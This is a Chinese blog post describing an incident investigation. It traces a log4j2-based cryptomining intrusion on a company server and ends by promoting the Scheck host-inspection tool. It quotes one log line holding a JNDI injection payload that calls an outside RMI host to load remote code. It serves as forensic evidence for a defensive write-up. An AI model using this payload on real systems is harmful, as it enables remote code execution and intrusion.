排查 log4j2 安全漏洞的一次经历

简介

2021 年底，技术圈被 log4j2 漏洞掀起巨浪，各大安全公司纷纷发文介绍该漏洞的危害，并给出了各种临时解决方案。还有一些博主也发表文章教我们如何找到易受攻击的地方，并采取相应的防御措施。还有大量帖子跟着起哄，讨论如何采用一些不必要的防御技术。12 月 29 日，我们就发现了一起由 log4j2 漏洞引发的挖矿事件。

惊险时刻

收到安全告警

事情还是要从一条告警说起。12 月 29 日 18:59，公司钉钉安全告警信息,亲！df_solution_ecs_002存在2 个 warn。由于 warn 级别的告警不是很严重，所以当时我们没有太在意。

收到服务器 CPU 99% 告警

19:34:00 收到安全告警 30 分钟后，钉钉群内突然收到 CPU 飙升的告警。告警来的猝不及防，系统运行很长时间，怎么突发发生这种状况。

发现可疑进程

于是，我们赶紧登录我们的观测平台查看服务器基础信息。cpu 使用率太高了吧！同时我们发现进程监控中有 5 个恶意进程 CPU 使用率为 100%。此刻我们才发现，我主机应该被挖矿了。马上通知相关同事进行处理，将恶意进程关闭。

追踪溯源

恶意进程处理完成后，心中一阵后怕，老大也下达了要查明事故原因的命令。此刻我一阵头大，我怎么查病毒入口？突然，脑中灵光一闪想到了刚刚安全告警。于是打开了安全巡检的页面，果然病毒注入留下了蛛丝马迹被Scheck巡检工具捕捉到。在 12/29 18:52 的时候发生 5 个以上的 warn 安全告警事件，首先 18:52 病毒添加了免密登录，18:57 添加了一个用户，之后有添加了二进制文件等等。

知道了入侵时间，我打算在 18:40～18:53 之间查看一些突破，观测云可以根据当时时间查看当时服务器的状态，指标，还有日志。

终于在 18:54 左右的时候发现了这条日志，2021-12-29 18:50:23.906+0000 [id=66628] request param ${jndi:rmi://67.220.90.132:30023/test}0 ms。这不是那个最近这火的 log4j 2 的漏洞么！！！67.220.90.132 地址还是美国加利福尼亚洛杉矶的。

最后，综合这些线索，我画了个时间图，发现黑客进行攻击的时候，我们 Scheck 就已经将恶意行为上报到了观测平台并进行告警。在那时，只是我们没有及时关注，还好我可以通过统一观测平台，进行分析和观测发现了源头。

强烈推荐

经历了此次事件，要感谢观测云的安全巡检工具 Scheck，让我度过这次难关。服务器被入侵不可怕，可怕的不知道你是如何和入侵，黑客对主机做了哪些恶意操作，Scheck 可以实时监控主机安全事件。此软件安全可靠，支持二次开发，开源。是一款在运行用户本地机器上的一种安全巡检工具。

我们为什么推荐使用 Scheck

1、安全

Scheck 是款开源软件，你可以放心使用。开源地址：https://github.com/GuanceCloud/scheck

Scheck 中的 Lua 不能引入第三方库，直接的文件 IO 也是被禁止的，只能通过 Golang 封装的 Lua 接口才能对文件进行读取

2、高度一致的跨平台可用性

在主流的 Linux、Windows 上均可直接使用无需考虑平台兼容性

数据可观测性

Scheck 的巡检结果，可以直接导入观测云，也可以导入阿里云 SLS 日志

3、可扩展性

用户可以自定义新的巡检脚本，通过二次开发入口 即可方便的开发出新巡检脚本。

Scheck 的作用到底是什么

Scheck 作为一款运行用户本地机器上的一种安全巡检工具，他不做安全防护，但他们可以提前感知你的操作是否安全，主机被入侵时，黑客的恶意行为都会被 Scheck 上报。你可以自己分析和观测，目前没有绝对安全的软件来保证你主机安全，但是 Scheck 可以保证黑客或其他的不安全的操作都会被记录和上报。

这就是我们强烈推荐 Scheck 原因！